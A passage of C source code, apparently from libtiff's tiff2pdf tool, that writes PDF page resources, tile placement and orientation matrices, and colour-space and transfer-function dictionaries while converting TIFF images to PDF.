for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){ written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "_", 1); buflen = snprintf(buffer, sizeof(buffer), "%u", i+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if(i%4==3){ written += t2pWriteFile(output, (tdata_t) "\n", 1); } } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } else { written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } if(t2p->tiff_transferfunctioncount != 0) { written += t2pWriteFile(output, (tdata_t) "/ExtGState <<", 13); t2pWriteFile(output, (tdata_t) "/GS1 ", 5); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">> \n", 4); } written += t2pWriteFile(output, (tdata_t) "/ProcSet [ ", 11); if(t2p->pdf_colorspace & T2P_CS_BILEVEL || t2p->pdf_colorspace & T2P_CS_GRAY ){ written += t2pWriteFile(output, (tdata_t) "/ImageB ", 8); } else { written += t2pWriteFile(output, (tdata_t) "/ImageC ", 8); if(t2p->pdf_colorspace & T2P_CS_PALETTE){ written += t2pWriteFile(output, (tdata_t) "/ImageI ", 8); } } written += t2pWriteFile(output, (tdata_t) "]\n>>\n>>\n", 8); return(written); } /* This function composes the page size and image and tile locations on a page. */ void t2p_compose_pdf_page(T2P* t2p){ uint32 i=0; uint32 i2=0; T2P_TILE* tiles=NULL; T2P_BOX* boxp=NULL; uint32 tilecountx=0; uint32 tilecounty=0; uint32 tilewidth=0; uint32 tilelength=0; int istiled=0; float f=0; float width_ratio=0; float length_ratio=0; t2p->pdf_xres = t2p->tiff_xres; t2p->pdf_yres = t2p->tiff_yres; if(t2p->pdf_overrideres) { t2p->pdf_xres = t2p->pdf_defaultxres; t2p->pdf_yres = t2p->pdf_defaultyres; } if(t2p->pdf_xres == 0.0) t2p->pdf_xres = t2p->pdf_defaultxres; if(t2p->pdf_yres == 0.0) t2p->pdf_yres = t2p->pdf_defaultyres; if (t2p->pdf_image_fillpage) { width_ratio = t2p->pdf_defaultpagewidth/t2p->tiff_width; length_ratio = t2p->pdf_defaultpagelength/t2p->tiff_length; if (width_ratio < length_ratio ) { t2p->pdf_imagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_imagelength = t2p->tiff_length * width_ratio; } else { t2p->pdf_imagewidth = t2p->tiff_width * length_ratio; t2p->pdf_imagelength = t2p->pdf_defaultpagelength; } } else if (t2p->tiff_resunit != RESUNIT_CENTIMETER /* RESUNIT_NONE and */ && t2p->tiff_resunit != RESUNIT_INCH) { /* other cases */ t2p->pdf_imagewidth = ((float)(t2p->tiff_width))/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))/t2p->pdf_yres; } else { t2p->pdf_imagewidth = ((float)(t2p->tiff_width))*PS_UNIT_SIZE/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))*PS_UNIT_SIZE/t2p->pdf_yres; } if(t2p->pdf_overridepagesize != 0) { t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_pagelength = t2p->pdf_defaultpagelength; } else { t2p->pdf_pagewidth = t2p->pdf_imagewidth; t2p->pdf_pagelength = t2p->pdf_imagelength; } t2p->pdf_mediabox.x1=0.0; t2p->pdf_mediabox.y1=0.0; t2p->pdf_mediabox.x2=t2p->pdf_pagewidth; t2p->pdf_mediabox.y2=t2p->pdf_pagelength; t2p->pdf_imagebox.x1=0.0; t2p->pdf_imagebox.y1=0.0; t2p->pdf_imagebox.x2=t2p->pdf_imagewidth; t2p->pdf_imagebox.y2=t2p->pdf_imagelength; if(t2p->pdf_overridepagesize!=0){ t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); } if(t2p->tiff_orientation > 4){ f=t2p->pdf_mediabox.x2; t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2; t2p->pdf_mediabox.y2=f; } istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1; if(istiled==0){ t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation); return; } else { tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth; tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength; if( tilewidth > INT_MAX || tilelength > INT_MAX || t2p->tiff_width > INT_MAX - tilewidth || t2p->tiff_length > INT_MAX - tilelength ) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; return; } tilecountx=(t2p->tiff_width + tilewidth -1)/ tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx; tilecounty=(t2p->tiff_length + tilelength -1)/ tilelength; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth= t2p->tiff_width % tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength= t2p->tiff_length % tilelength; tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles; for(i2=0;i2<tilecounty-1;i2++){ for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){ for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0); } return; } for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ boxp=&(tiles[i].tile_box); boxp->x1 -= t2p->pdf_imagebox.x1; boxp->x2 -= t2p->pdf_imagebox.x1; boxp->y1 -= t2p->pdf_imagebox.y1; boxp->y2 -= t2p->pdf_imagebox.y1; if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation > 4){ f=boxp->x1; boxp->x1 = boxp->y1; boxp->y1 = f; f=boxp->x2; boxp->x2 = boxp->y2; boxp->y2 = f; t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation); } else { t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation); } } return; } void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0; boxp->mat[2]=m1[2]=0.0; boxp->mat[3]=m1[3]=0.0; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0; switch(orientation){ case 0: case 1: break; case 2: boxp->mat[0]=0.0F-m1[0]; boxp->mat[6]+=m1[0]; break; case 3: boxp->mat[0]=0.0F-m1[0]; boxp->mat[4]=0.0F-m1[4]; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 4: boxp->mat[4]=0.0F-m1[4]; boxp->mat[7]+=m1[4]; break; case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; boxp->mat[7]+=m1[0]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[0]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; break; } return; } void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0F; boxp->mat[2]=m1[2]=0.0F; boxp->mat[3]=m1[3]=0.0F; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0F; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0F; switch(orientation){ case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[4]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; break; } return; } /* This function writes a PDF Contents stream to output. */ tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){ tsize_t written=0; ttile_t i=0; char buffer[512]; int buflen=0; T2P_BOX box; if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){ box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page + 1, (long)(i + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } } else { box=t2p->pdf_imagebox; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } return(written); } /* This function writes a PDF Image XObject stream dictionary to output. */ tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2pWriteFile(output, (tdata_t) "/Type /XObject \n/Subtype /Image \n/Name /Im", 42); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); if(tile != 0){ written += t2pWriteFile(output, (tdata_t) "_", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)tile); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } written += t2pWriteFile(output, (tdata_t) "\n/Width ", 8); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Height ", 9); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); } else { if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/ColorSpace ", 13); written += t2p_write_pdf_xobject_cs(t2p, output); if (t2p->pdf_image_interpolate) written += t2pWriteFile(output, (tdata_t) "\n/Interpolate true", 18); if( (t2p->pdf_switchdecode != 0) #ifdef CCITT_SUPPORT && ! (t2p->pdf_colorspace & T2P_CS_BILEVEL && t2p->pdf_compression == T2P_COMPRESS_G4) #endif ){ written += t2p_write_pdf_xobject_decode(t2p, output); } written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output); return(written); } /* * This function writes a PDF Image XObject Colorspace name to output. */ tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[128]; int buflen=0; float X_W=1.0; float Y_W=1.0; float Z_W=1.0; if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ written += t2p_write_pdf_xobject_icccs(t2p, output); return(written); } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ written += t2pWriteFile(output, (tdata_t) "[ /Indexed ", 11); t2p->pdf_colorspace ^= T2P_CS_PALETTE; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_PALETTE; buflen=snprintf(buffer, sizeof(buffer), "%u", (0x0001 << t2p->tiff_bitspersample)-1 ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_palettecs ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ]\n", 7); return(written); } if(t2p->pdf_colorspace & T2P_CS_BILEVEL){ written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } if(t2p->pdf_colorspace & T2P_CS_GRAY){ if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } } if(t2p->pdf_colorspace & T2P_CS_RGB){ if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceRGB \n", 12); } } if(t2p->pdf_colorspace & T2P_CS_CMYK){ written += t2pWriteFile(output, (tdata_t) "/DeviceCMYK \n", 13); } if(t2p->pdf_colorspace & T2P_CS_LAB){ written += t2pWriteFile(output, (tdata_t) "[/Lab << \n", 10); written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Range ", 7); buflen=snprintf(buffer, sizeof(buffer), "[%d %d %d %d] \n", t2p->pdf_labrange[0], t2p->pdf_labrange[1], t2p->pdf_labrange[2], t2p->pdf_labrange[3]); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); } return(written); } tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<< /Type /ExtGState \n/TR ", 25); if(t2p->tiff_transferfunctioncount == 1){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); } else { written += t2pWriteFile(output, (tdata_t) "[ ", 2); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 2)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) "/Identity ] ", 12); } written += t2pWriteFile(output, (tdata_t) " >> \n", 5); return(written); } tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; char buffer[32]; int buflen=0; (void)i; /* XXX */ written += t2pWriteFile(output, (tdata_t) "/FunctionType 0 \n", 17); written += t2pWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \n", 19); written += t2pWriteFile(output, (tdata_t) "/Range [0.0 1.0] \n", 18); buflen=snprintf(buffer, sizeof(buffer), "/Size [%u] \n", (1<<t2p->tiff_bitspersample)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/BitsPerSample 16 \n", 19); written += t2p_write_pdf_stream_dict(((tsize_t)1)<<(t2p->tiff_bitspersample+1), 0, output); return(written); } tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; written += t2p_write_pdf_stream( t2p->tiff_transferfunction[i], (((tsize_t)1)<<(t2p->tiff_bitspersample+1)), output); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[256]; int buflen=0; float X_W=0.0; float Y_W=0.0; float Z_W=0.0; float X_R=0.0; float Y_R=0.0; float Z_R=0.0; float X_G=0.0; float Y_G=0.0; float Z_G=0.0; float X_B=0.0; float Y_B=0.0; float Z_B=0.0; float x_w=0.0; float y_w=0.0; float z_w=0.0; float x_r=0.0; float y_r=0.0; float x_g=0.0; float y_g=0.0; float x_b=0.0; float y_b=0.0; float R=1.0; float G=1.0; float B=1.0; written += t2pWriteFile(output, (tdata_t) "[", 1); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/CalGray ", 9); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/CalRGB ", 8); x_w = t2p->tiff_whitechromaticities[0]; y_w = t2p->tiff_whitechromaticities[1]; x_r = t2p->tiff_primarychromaticities[0]; y_r = t2p->tiff_primarychromaticities[1]; x_g = t2p->tiff_primarychromaticities[2]; y_g = t2p->tiff_primarychromaticities[3]; x_b = t2p->tiff_primarychromaticities[4]; y_b = t2p->tiff_primarychromaticities[5]; z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b); Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w; X_R = Y_R * x_r / y_r; Z_R = Y_R * (((1-x_r)/y_r)-1); Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w; X_G = Y_G * x_g / y_g; Z_G = Y_G * (((1-x_g)/y_g)-1); Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w; X_B = Y_B * x_b / y_b; Z_B = Y_B * (((1-x_b)/y_b)-1); X_W = (X_R * R) + (X_G * G) + (X_B * B); Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B); Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0; } written += t2pWriteFile(output, (tdata_t) "<< \n", 4); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma 2.2 \n", 12); } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Matrix ", 8); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \n", X_R, Y_R, Z_R, X_G, Y_G, Z_G, X_B, Y_B, Z_B); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \n", 22); } written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "[/ICCBased ", 11); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_icccs); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R] \n", 7); return(written); } tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/N ", 3); buflen=snprintf(buffer, sizeof(buffer), "%u \n", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Alternate ", 11); t2p->pdf_colorspace ^= T2P_CS_ICCBASED; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_ICCBASED; written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output); return(written); } tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->tiff_iccprofile, (tsize_t) t2p->tiff_iccprofilelength, output); return(written); } /* This function writes a palette stream for an indexed color space to output. */ tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->pdf_palette, (tsize_t) t2p->pdf_palettesize, output); return(written); } /* This function writes a PDF Image XObject Decode array to output. */ tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){ tsize_t written=0; int i=0; written += t2pWriteFile(output, (tdata_t) "/Decode [ ", 10); for (i=0;i<t2p->tiff_samplesperpixel;i++){ written += t2pWriteFile(output, (tdata_t) "1 0 ", 4); } written += t2pWriteFile(output, (tdata_t) "]\n", 2); return(written); } /* This function writes a PDF Image XObject stream filter name and parameters to output. */ tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t 